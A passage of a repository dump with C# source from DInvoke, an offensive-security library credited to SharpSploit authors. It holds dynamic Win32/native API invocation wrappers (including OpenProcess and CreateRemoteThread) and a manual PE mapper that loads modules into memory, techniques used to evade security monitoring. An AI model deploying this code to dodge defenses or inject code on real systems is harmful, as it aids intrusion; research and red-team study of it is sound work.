bool AllocateDestinationString);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate UInt32 LdrGetProcedureAddress(\r\n                IntPtr hModule,\r\n                IntPtr FunctionName,\r\n                IntPtr Ordinal,\r\n                ref IntPtr FunctionAddress);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate UInt32 RtlGetVersion(\r\n                ref Data.Native.OSVERSIONINFOEX VersionInformation);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate UInt32 NtReadVirtualMemory(\r\n                IntPtr ProcessHandle,\r\n                IntPtr BaseAddress,\r\n                IntPtr Buffer,\r\n                UInt32 NumberOfBytesToRead,\r\n                ref UInt32 NumberOfBytesRead);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate UInt32 NtOpenFile(\r\n                ref IntPtr FileHandle,\r\n                Data.Win32.Kernel32.FileAccessFlags DesiredAccess,\r\n                ref Data.Native.OBJECT_ATTRIBUTES ObjAttr,\r\n                ref Data.Native.IO_STATUS_BLOCK IoStatusBlock,\r\n                Data.Win32.Kernel32.FileShareFlags ShareAccess,\r\n                Data.Win32.Kernel32.FileOpenFlags OpenOptions);\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "DInvoke.DynamicInvoke/Utilities.cs",
    "content": "﻿using System;\r\nusing System.Security.Cryptography.X509Certificates;\r\n\r\nnamespace DInvoke.Utilities\r\n{\r\n    class Utilities\r\n    {\r\n        /// <summary>\r\n        /// Checks that a file is signed and has a valid signature.\r\n        /// </summary>\r\n        /// <param name=\"FilePath\">Path of file to check.</param>\r\n        /// <returns></returns>\r\n        public static bool FileHasValidSignature(string FilePath)\r\n        {\r\n            X509Certificate2 FileCertificate;\r\n            try\r\n            {\r\n                X509Certificate signer = X509Certificate.CreateFromSignedFile(FilePath);\r\n                FileCertificate = new X509Certificate2(signer);\r\n            }\r\n            catch\r\n            {\r\n                return false;\r\n            }\r\n\r\n            X509Chain CertificateChain = new X509Chain();\r\n            CertificateChain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain;\r\n            CertificateChain.ChainPolicy.RevocationMode = X509RevocationMode.Offline;\r\n            CertificateChain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag;\r\n\r\n            return CertificateChain.Build(FileCertificate);\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "DInvoke.DynamicInvoke/Win32.cs",
    "content": "﻿// Author: Ryan Cobb (@cobbr_io), The Wover (@TheRealWover)\r\n// Project: SharpSploit (https://github.com/cobbr/SharpSploit)\r\n// License: BSD 3-Clause\r\n\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n\r\nnamespace DInvoke.DynamicInvoke\r\n{\r\n    /// <summary>\r\n    /// Contains function prototypes and wrapper functions for dynamically invoking Win32 API Calls.\r\n    /// </summary>\r\n    public static class Win32\r\n    {\r\n        /// <summary>\r\n        /// Uses DynamicInvocation to call the OpenProcess Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess\r\n        /// </summary>\r\n        /// <author>The Wover (@TheRealWover)</author>\r\n        /// <param name=\"dwDesiredAccess\"></param>\r\n        /// <param name=\"bInheritHandle\"></param>\r\n        /// <param name=\"dwProcessId\"></param>\r\n        /// <returns></returns>\r\n        public static IntPtr OpenProcess(Data.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId)\r\n        {\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                dwDesiredAccess, bInheritHandle, dwProcessId\r\n            };\r\n\r\n            return (IntPtr)Generic.DynamicAPIInvoke(@\"kernel32.dll\", @\"OpenProcess\",\r\n                typeof(Delegates.OpenProcess), ref funcargs);\r\n        }\r\n\r\n        public static IntPtr CreateRemoteThread(\r\n            IntPtr hProcess,\r\n            IntPtr lpThreadAttributes,\r\n            uint dwStackSize,\r\n            IntPtr lpStartAddress,\r\n            IntPtr lpParameter,\r\n            uint dwCreationFlags,\r\n            ref IntPtr lpThreadId)\r\n        {\r\n            // Craft an array for the arguments\r\n            object[] funcargs =\r\n            {\r\n                hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId\r\n            };\r\n\r\n            IntPtr retValue = (IntPtr)Generic.DynamicAPIInvoke(@\"kernel32.dll\", @\"CreateRemoteThread\",\r\n                typeof(Delegates.CreateRemoteThread), ref funcargs);\r\n\r\n            // Update the modified variables\r\n            lpThreadId = (IntPtr)funcargs[6];\r\n\r\n            return retValue;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Uses DynamicInvocation to call the IsWow64Process Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/wow64apiset/nf-wow64apiset-iswow64process\r\n        /// </summary>\r\n        /// <returns>Returns true if process is WOW64, and false if not (64-bit, or 32-bit on a 32-bit machine).</returns>\r\n        public static bool IsWow64Process(IntPtr hProcess, ref bool lpSystemInfo)\r\n        {\r\n\r\n            // Build the set of parameters to pass in to IsWow64Process\r\n            object[] funcargs =\r\n            {\r\n                hProcess, lpSystemInfo\r\n            };\r\n\r\n            bool retVal = (bool)Generic.DynamicAPIInvoke(@\"kernel32.dll\", @\"IsWow64Process\", typeof(Delegates.IsWow64Process), ref funcargs);\r\n\r\n            lpSystemInfo = (bool) funcargs[1];\r\n\r\n            // Dynamically load and invoke the API call with out parameters\r\n            return retVal;\r\n        }\r\n\r\n        public static class Delegates\r\n        {\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate IntPtr CreateRemoteThread(IntPtr hProcess,\r\n                IntPtr lpThreadAttributes,\r\n                uint dwStackSize,\r\n                IntPtr lpStartAddress,\r\n                IntPtr lpParameter,\r\n                uint dwCreationFlags,\r\n                out IntPtr lpThreadId);\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\r\n            public delegate IntPtr OpenProcess(\r\n                Data.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess,\r\n                bool bInheritHandle,\r\n                UInt32 dwProcessId\r\n            );\r\n\r\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\r\n            public delegate bool IsWow64Process(\r\n                IntPtr hProcess, ref bool lpSystemInfo\r\n            );\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "DInvoke.ManualMap/Map.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.IO;\r\nusing System.Runtime.InteropServices;\r\n\r\n\r\nnamespace DInvoke.ManualMap\r\n{\r\n\r\n    /// <summary>\r\n    /// Class for manually mapping PEs.\r\n    /// </summary>\r\n    public class Map\r\n    {\r\n\r\n        /// <summary>\r\n        /// Maps a DLL from disk into a Section using NtCreateSection.\r\n        /// </summary>\r\n        /// <author>The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"DLLPath\">Full path fo the DLL on disk.</param>\r\n        /// <returns>PE.PE_MANUAL_MAP</returns>\r\n        public static Data.PE.PE_MANUAL_MAP MapModuleFromDisk(string DLLPath)\r\n        {\r\n            // Check file exists\r\n            if (!File.Exists(DLLPath))\r\n            {\r\n                throw new InvalidOperationException(\"Filepath not found.\");\r\n            }\r\n\r\n            // Open file handle\r\n            Data.Native.UNICODE_STRING ObjectName = new Data.Native.UNICODE_STRING();\r\n            DynamicInvoke.Native.RtlInitUnicodeString(ref ObjectName, (@\"\\??\\\" + DLLPath));\r\n            IntPtr pObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(ObjectName));\r\n            Marshal.StructureToPtr(ObjectName, pObjectName, true);\r\n\r\n            Data.Native.OBJECT_ATTRIBUTES objectAttributes = new Data.Native.OBJECT_ATTRIBUTES();\r\n            objectAttributes.Length = Marshal.SizeOf(objectAttributes);\r\n            objectAttributes.ObjectName = pObjectName;\r\n            objectAttributes.Attributes = 0x40; // OBJ_CASE_INSENSITIVE\r\n\r\n            Data.Native.IO_STATUS_BLOCK ioStatusBlock = new Data.Native.IO_STATUS_BLOCK();\r\n\r\n            IntPtr hFile = IntPtr.Zero;\r\n            DynamicInvoke.Native.NtOpenFile(\r\n                ref hFile,\r\n                Data.Win32.Kernel32.FileAccessFlags.FILE_READ_DATA |\r\n                Data.Win32.Kernel32.FileAccessFlags.FILE_EXECUTE |\r\n                Data.Win32.Kernel32.FileAccessFlags.FILE_READ_ATTRIBUTES |\r\n                Data.Win32.Kernel32.FileAccessFlags.SYNCHRONIZE,\r\n                ref objectAttributes, ref ioStatusBlock,\r\n                Data.Win32.Kernel32.FileShareFlags.FILE_SHARE_READ |\r\n                Data.Win32.Kernel32.FileShareFlags.FILE_SHARE_DELETE,\r\n                Data.Win32.Kernel32.FileOpenFlags.FILE_SYNCHRONOUS_IO_NONALERT |\r\n                Data.Win32.Kernel32.FileOpenFlags.FILE_NON_DIRECTORY_FILE\r\n            );\r\n\r\n            // Create section from hFile\r\n            IntPtr hSection = IntPtr.Zero;\r\n            ulong MaxSize = 0;\r\n            Data.Native.NTSTATUS ret = DynamicInvoke.Native.NtCreateSection(\r\n                ref hSection,\r\n                (UInt32)Data.Win32.WinNT.ACCESS_MASK.SECTION_ALL_ACCESS,\r\n                IntPtr.Zero,\r\n                ref MaxSize,\r\n                Data.Win32.WinNT.PAGE_READONLY,\r\n                Data.Win32.WinNT.SEC_IMAGE,\r\n                hFile\r\n            );\r\n\r\n            // Map view of file\r\n            IntPtr pBaseAddress = IntPtr.Zero;\r\n            DynamicInvoke.Native.NtMapViewOfSection(\r\n                hSection, (IntPtr)(-1), ref pBaseAddress,\r\n                IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,\r\n                ref MaxSize, 0x2, 0x0,\r\n                Data.Win32.WinNT.PAGE_READWRITE\r\n            );\r\n\r\n            // Prepare return object\r\n            Data.PE.PE_MANUAL_MAP SecMapObject = new Data.PE.PE_MANUAL_MAP\r\n            {\r\n                PEINFO = DynamicInvoke.Generic.GetPeMetaData(pBaseAddress),\r\n                ModuleBase = pBaseAddress\r\n            };\r\n\r\n            return SecMapObject;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Allocate file to memory from disk\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"FilePath\">Full path to the file to be alloacted.</param>\r\n        /// <returns>IntPtr base address of the allocated file.</returns>\r\n        public static IntPtr AllocateFileToMemory(string FilePath)\r\n        {\r\n            if (!File.Exists(FilePath))\r\n            {\r\n                throw new InvalidOperationException(\"Filepath not found.\");\r\n            }\r\n\r\n            byte[] bFile = File.ReadAllBytes(FilePath);\r\n            return AllocateBytesToMemory(bFile);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Allocate a byte array to memory\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"FileByteArray\">Byte array to be allocated.</param>\r\n        /// <returns>IntPtr base address of the allocated file.</returns>\r\n        public static IntPtr AllocateBytesToMemory(byte[] FileByteArray)\r\n        {\r\n            IntPtr pFile = Marshal.AllocHGlobal(FileByteArray.Length);\r\n            Marshal.Copy(FileByteArray, 0, pFile, FileByteArray.Length);\r\n            return pFile;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Relocates a module in memory.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"PEINFO\">Module meta data struct (PE.PE_META_DATA).</param>\r\n        /// <param name=\"ModuleMemoryBase\">Base address of the module in memory.</param>\r\n        /// <returns>void</returns>\r\n        public static void RelocateModule(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)\r\n        {\r\n            Data.PE.IMAGE_DATA_DIRECTORY idd = PEINFO.Is32Bit ? PEINFO.OptHeader32.BaseRelocationTable : PEINFO.OptHeader64.BaseRelocationTable;\r\n            Int64 ImageDelta = PEINFO.Is32Bit ? (Int64)((UInt64)ModuleMemoryBase - PEINFO.OptHeader32.ImageBase) :\r\n                                                (Int64)((UInt64)ModuleMemoryBase - PEINFO.OptHeader64.ImageBase);\r\n\r\n            // Ptr for the base reloc table\r\n            IntPtr pRelocTable = (IntPtr)((UInt64)ModuleMemoryBase + idd.VirtualAddress);\r\n            Int32 nextRelocTableBlock = -1;\r\n            // Loop reloc blocks\r\n            while (nextRelocTableBlock != 0)\r\n            {\r\n                Data.PE.IMAGE_BASE_RELOCATION ibr = new Data.PE.IMAGE_BASE_RELOCATION();\r\n                ibr = (Data.PE.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(pRelocTable, typeof(Data.PE.IMAGE_BASE_RELOCATION));\r\n\r\n                Int64 RelocCount = ((ibr.SizeOfBlock - Marshal.SizeOf(ibr)) / 2);\r\n                for (int i = 0; i < RelocCount; i++)\r\n                {\r\n                    // Calculate reloc entry ptr\r\n                    IntPtr pRelocEntry = (IntPtr)((UInt64)pRelocTable + (UInt64)Marshal.SizeOf(ibr) + (UInt64)(i * 2));\r\n                    UInt16 RelocValue = (UInt16)Marshal.ReadInt16(pRelocEntry);\r\n\r\n                    // Parse reloc value\r\n                    // The type should only ever be 0x0, 0x3, 0xA\r\n                    // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#base-relocation-types\r\n                    UInt16 RelocType = (UInt16)(RelocValue >> 12);\r\n                    UInt16 RelocPatch = (UInt16)(RelocValue & 0xfff);\r\n\r\n                    // Perform relocation\r\n                    if (RelocType != 0) // IMAGE_REL_BASED_ABSOLUTE (0 -> skip reloc)\r\n                    {\r\n                        try\r\n                        {\r\n                            IntPtr pPatch = (IntPtr)((UInt64)ModuleMemoryBase + ibr.VirtualAdress + RelocPatch);\r\n                            if (RelocType == 0x3) // IMAGE_REL_BASED_HIGHLOW (x86)\r\n                            {\r\n                                Int32 OriginalPtr = Marshal.ReadInt32(pPatch);\r\n                                Marshal.WriteInt32(pPatch, (OriginalPtr + (Int32)ImageDelta));\r\n                            }\r\n                            else // IMAGE_REL_BASED_DIR64 (x64)\r\n                            {\r\n                                Int64 OriginalPtr = Marshal.ReadInt64(pPatch);\r\n                                Marshal.WriteInt64(pPatch, (OriginalPtr + ImageDelta));\r\n                            }\r\n                        }\r\n                        catch\r\n                        {\r\n                            throw new InvalidOperationException(\"Memory access violation.\");\r\n                        }\r\n                    }\r\n                }\r\n\r\n                // Check for next block\r\n                pRelocTable = (IntPtr)((UInt64)pRelocTable + ibr.SizeOfBlock);\r\n                nextRelocTableBlock = Marshal.ReadInt32(pRelocTable);\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// Rewrite IAT for manually mapped module.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"PEINFO\">Module meta data struct (PE.PE_META_DATA).</param>\r\n        /// <param name=\"ModuleMemoryBase\">Base address of the module in memory.</param>\r\n        /// <returns>void</returns>\r\n        public static void RewriteModuleIAT(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)\r\n        {\r\n            Data.PE.IMAGE_DATA_DIRECTORY idd = PEINFO.Is32Bit ? PEINFO.OptHeader32.ImportTable : PEINFO.OptHeader64.ImportTable;\r\n\r\n            // Check if there is no import table\r\n            if (idd.VirtualAddress == 0)\r\n            {\r\n                // Return so that the rest of the module mapping process may continue.\r\n                return;\r\n            }\r\n\r\n            // Ptr for the base import directory\r\n            IntPtr pImportTable = (IntPtr)((UInt64)ModuleMemoryBase + idd.VirtualAddress);\r\n\r\n            // Get API Set mapping dictionary if on Win10+\r\n            Data.Native.OSVERSIONINFOEX OSVersion = new Data.Native.OSVERSIONINFOEX();\r\n            DynamicInvoke.Native.RtlGetVersion(ref OSVersion);\r\n            Dictionary<string, string> ApiSetDict = new Dictionary<string, string>();\r\n            if (OSVersion.MajorVersion >= 10)\r\n            {\r\n                ApiSetDict = DynamicInvoke.Generic.GetApiSetMapping();\r\n            }\r\n\r\n            // Loop IID's\r\n            int counter = 0;\r\n            Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR iid = new Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR();\r\n            iid = (Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure(\r\n                (IntPtr)((UInt64)pImportTable + (uint)(Marshal.SizeOf(iid) * counter)),\r\n                typeof(Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)\r\n            );\r\n            while (iid.Name != 0)\r\n            {\r\n                // Get DLL\r\n                string DllName = string.Empty;\r\n                try\r\n                {\r\n                    DllName = Marshal.PtrToStringAnsi((IntPtr)((UInt64)ModuleMemoryBase + iid.Name));\r\n                }\r\n                catch { }\r\n\r\n                // Loop imports\r\n                if (DllName == string.Empty)\r\n                {\r\n                    throw new InvalidOperationException(\"Failed to read DLL name.\");\r\n                }\r\n                else\r\n                {\r\n                    string LookupKey = DllName.Substring(0, DllName.Length - 6) + \".dll\";\r\n                    // API Set DLL? Ignore the patch number.\r\n                    if (OSVersion.MajorVersion >= 10 && (DllName.StartsWith(\"api-\") || DllName.StartsWith(\"ext-\")) &&\r\n                        ApiSetDict.ContainsKey(LookupKey) && ApiSetDict[LookupKey].Length > 0)\r\n                    {\r\n                        // Not all API set DLL's have a registered host mapping\r\n                        DllName = ApiSetDict[LookupKey];\r\n                    }\r\n\r\n                    // Check and / or load DLL\r\n                    IntPtr hModule = DynamicInvoke.Generic.GetLoadedModuleAddress(DllName);\r\n                    if (hModule == IntPtr.Zero)\r\n                    {\r\n                        hModule = DynamicInvoke.Generic.LoadModuleFromDisk(DllName);\r\n                        if (hModule == IntPtr.Zero)\r\n                        {\r\n                            throw new FileNotFoundException(DllName + \", unable to find the specified file.\");\r\n                        }\r\n                    }\r\n\r\n                    // Loop thunks\r\n                    if (PEINFO.Is32Bit)\r\n                    {\r\n                        Data.PE.IMAGE_THUNK_DATA32 oft_itd = new Data.PE.IMAGE_THUNK_DATA32();\r\n                        for (int i = 0; true; i++)\r\n                        {\r\n                            oft_itd = (Data.PE.IMAGE_THUNK_DATA32)Marshal.PtrToStructure((IntPtr)((UInt64)ModuleMemoryBase + iid.OriginalFirstThunk + (UInt32)(i * (sizeof(UInt32)))), typeof(Data.PE.IMAGE_THUNK_DATA32));\r\n                            IntPtr ft_itd = (IntPtr)((UInt64)ModuleMemoryBase + iid.FirstThunk + (UInt64)(i * (sizeof(UInt32))));\r\n                            if (oft_itd.AddressOfData == 0)\r\n                            {\r\n                                break;\r\n                            }\r\n\r\n                            if (oft_itd.AddressOfData < 0x80000000) // !IMAGE_ORDINAL_FLAG32\r\n                            {\r\n                                IntPtr pImpByName = (IntPtr)((UInt64)ModuleMemoryBase + oft_itd.AddressOfData + sizeof(UInt16));\r\n                                IntPtr pFunc = IntPtr.Zero;\r\n                                pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, Marshal.PtrToStringAnsi(pImpByName));\r\n\r\n                                // Write ProcAddress\r\n                                Marshal.WriteInt32(ft_itd, pFunc.ToInt32());\r\n                            }\r\n                            else\r\n                            {\r\n                                ulong fOrdinal = oft_itd.AddressOfData & 0xFFFF;\r\n                                IntPtr pFunc = IntPtr.Zero;\r\n                                pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, (short)fOrdinal);\r\n\r\n                                // Write ProcAddress\r\n                                Marshal.WriteInt32(ft_itd, pFunc.ToInt32());\r\n                            }\r\n                        }\r\n                    }\r\n                    else\r\n                    {\r\n                        Data.PE.IMAGE_THUNK_DATA64 oft_itd = new Data.PE.IMAGE_THUNK_DATA64();\r\n                        for (int i = 0; true; i++)\r\n                        {\r\n                            oft_itd = (Data.PE.IMAGE_THUNK_DATA64)Marshal.PtrToStructure((IntPtr)((UInt64)ModuleMemoryBase + iid.OriginalFirstThunk + (UInt64)(i * (sizeof(UInt64)))), typeof(Data.PE.IMAGE_THUNK_DATA64));\r\n                            IntPtr ft_itd = (IntPtr)((UInt64)ModuleMemoryBase + iid.FirstThunk + (UInt64)(i * (sizeof(UInt64))));\r\n                            if (oft_itd.AddressOfData == 0)\r\n                            {\r\n                                break;\r\n                            }\r\n\r\n                            if (oft_itd.AddressOfData < 0x8000000000000000) // !IMAGE_ORDINAL_FLAG64\r\n                            {\r\n                                IntPtr pImpByName = (IntPtr)((UInt64)ModuleMemoryBase + oft_itd.AddressOfData + sizeof(UInt16));\r\n                                IntPtr pFunc = IntPtr.Zero;\r\n                                pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, Marshal.PtrToStringAnsi(pImpByName));\r\n\r\n                                // Write pointer\r\n                                Marshal.WriteInt64(ft_itd, pFunc.ToInt64());\r\n                            }\r\n                            else\r\n                            {\r\n                                ulong fOrdinal = oft_itd.AddressOfData & 0xFFFF;\r\n                                IntPtr pFunc = IntPtr.Zero;\r\n                                pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, (short)fOrdinal);\r\n\r\n                                // Write pointer\r\n                                Marshal.WriteInt64(ft_itd, pFunc.ToInt64());\r\n                            }\r\n                        }\r\n                    }\r\n\r\n                    // Go to the next IID\r\n                    counter++;\r\n                    iid = (Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure(\r\n                        (IntPtr)((UInt64)pImportTable + (uint)(Marshal.SizeOf(iid) * counter)),\r\n                        typeof(Data.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)\r\n                    );\r\n                }\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// Set correct module section permissions.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"PEINFO\">Module meta data struct (PE.PE_META_DATA).</param>\r\n        /// <param name=\"ModuleMemoryBase\">Base address of the module in memory.</param>\r\n        /// <returns>void</returns>\r\n        public static void SetModuleSectionPermissions(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)\r\n        {\r\n            // Apply RO to the module header\r\n            IntPtr BaseOfCode = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.BaseOfCode : (IntPtr)PEINFO.OptHeader64.BaseOfCode;\r\n            DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref ModuleMemoryBase, ref BaseOfCode, Data.Win32.WinNT.PAGE_READONLY);\r\n\r\n            // Apply section permissions\r\n            foreach (Data.PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections)\r\n            {\r\n                bool isRead = (ish.Characteristics & Data.PE.DataSectionFlags.MEM_READ) != 0;\r\n                bool isWrite = (ish.Characteristics & Data.PE.DataSectionFlags.MEM_WRITE) != 0;\r\n                bool isExecute = (ish.Characteristics & Data.PE.DataSectionFlags.MEM_EXECUTE) != 0;\r\n                uint flNewProtect = 0;\r\n                if (isRead & !isWrite & !isExecute)\r\n                {\r\n                    flNewProtect = Data.Win32.WinNT.PAGE_READONLY;\r\n                }\r\n                else if (isRead & isWrite & !isExecute)\r\n                {\r\n                    flNewProtect = Data.Win32.WinNT.PAGE_READWRITE;\r\n                }\r\n                else if (isRead & isWrite & isExecute)\r\n                {\r\n                    flNewProtect = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE;\r\n                }\r\n                else if (isRead & !isWrite & isExecute)\r\n                {\r\n                    flNewProtect = Data.Win32.WinNT.PAGE_EXECUTE_READ;\r\n                }\r\n                else if (!isRead & !isWrite & isExecute)\r\n                {\r\n                    flNewProtect = Data.Win32.WinNT.PAGE_EXECUTE;\r\n                }\r\n                else\r\n                {\r\n                    throw new InvalidOperationException(\"Unknown section flag, \" + ish.Characteristics);\r\n                }\r\n\r\n                // Calculate base\r\n                IntPtr pVirtualSectionBase = (IntPtr)((UInt64)ModuleMemoryBase + ish.VirtualAddress);\r\n                IntPtr ProtectSize = (IntPtr)ish.VirtualSize;\r\n\r\n                // Set protection\r\n                DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref pVirtualSectionBase, ref ProtectSize, flNewProtect);\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// Manually map module into current process.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"ModulePath\">Full path to the module on disk.</param>\r\n        /// <returns>PE_MANUAL_MAP object</returns>\r\n        public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(string ModulePath)\r\n        {\r\n            // Alloc module into memory for parsing\r\n            IntPtr pModule = AllocateFileToMemory(ModulePath);\r\n            return MapModuleToMemory(pModule);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Manually map module into current process.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"Module\">Full byte array of the module.</param>\r\n        /// <returns>PE_MANUAL_MAP object</returns>\r\n        public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(byte[] Module)\r\n        {\r\n            // Alloc module into memory for parsing\r\n            IntPtr pModule = AllocateBytesToMemory(Module);\r\n            return MapModuleToMemory(pModule);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Manually map module into current process starting at the specified base address.\r\n        /// </summary>\r\n        /// <author>The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"Module\">Full byte array of the module.</param>\r\n        /// <param name=\"pImage\">Address in memory to map module to.</param>\r\n        /// <returns>PE_MANUAL_MAP object</returns>\r\n        public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(byte[] Module, IntPtr pImage)\r\n        {\r\n            // Alloc module into memory for parsing\r\n            IntPtr pModule = AllocateBytesToMemory(Module);\r\n\r\n            return MapModuleToMemory(pModule, pImage);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Manually map module into current process.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"pModule\">Pointer to the module base.</param>\r\n        /// <returns>PE_MANUAL_MAP object</returns>\r\n        public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule)\r\n        {\r\n            // Fetch PE meta data\r\n            Data.PE.PE_META_DATA PEINFO = DynamicInvoke.Generic.GetPeMetaData(pModule);\r\n\r\n            // Check module matches the process architecture\r\n            if ((PEINFO.Is32Bit && IntPtr.Size == 8) || (!PEINFO.Is32Bit && IntPtr.Size == 4))\r\n            {\r\n                Marshal.FreeHGlobal(pModule);\r\n                throw new InvalidOperationException(\"The module architecture does not match the process architecture.\");\r\n            }\r\n\r\n            // Alloc PE image memory -> RW\r\n            IntPtr BaseAddress = IntPtr.Zero;\r\n            IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;\r\n            IntPtr pImage = DynamicInvoke.Native.NtAllocateVirtualMemory(\r\n                (IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,\r\n                Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE,\r\n                Data.Win32.WinNT.PAGE_READWRITE\r\n            );\r\n            return MapModuleToMemory(pModule, pImage, PEINFO);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Manually map module into current process.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"pModule\">Pointer to the module base.</param>\r\n        /// <param name=\"pImage\">Pointer to the PEINFO image.</param>\r\n        /// <returns>PE_MANUAL_MAP object</returns>\r\n        public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule, IntPtr pImage)\r\n        {\r\n            Data.PE.PE_META_DATA PEINFO = DynamicInvoke.Generic.GetPeMetaData(pModule);\r\n            return MapModuleToMemory(pModule, pImage, PEINFO);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Manually map module into current process.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"pModule\">Pointer to the module base.</param>\r\n        /// <param name=\"pImage\">Pointer to the PEINFO image.</param>\r\n        /// <param name=\"PEINFO\">PE_META_DATA of the module being mapped.</param>\r\n        /// <returns>PE_MANUAL_MAP object</returns>\r\n        public static Data.PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule, IntPtr pImage, Data.PE.PE_META_DATA PEINFO)\r\n        {\r\n            // Check module matches the process architecture\r\n            if ((PEINFO.Is32Bit && IntPtr.Size == 8) || (!PEINFO.Is32Bit && IntPtr.Size == 4))\r\n            {\r\n                Marshal.FreeHGlobal(pModule);\r\n                throw new InvalidOperationException(\"The module architecture does not match the process architecture.\");\r\n            }\r\n\r\n            // Write PE header to memory\r\n            UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders;\r\n            UInt32 BytesWritten = DynamicInvoke.Native.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders);\r\n\r\n            // Write sections to memory\r\n            foreach (Data.PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections)\r\n            {\r\n                // Calculate offsets\r\n                IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress);\r\n                IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData);\r\n\r\n                // Write data\r\n                BytesWritten = DynamicInvoke.Native.NtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData);\r\n                if (BytesWritten != ish.SizeOfRawData)\r\n                {\r\n                    throw new InvalidOperationException(\"Failed to write to memory.\");\r\n                }\r\n            }\r\n\r\n            // Perform relocations\r\n            RelocateModule(PEINFO, pImage);\r\n\r\n            // Rewrite 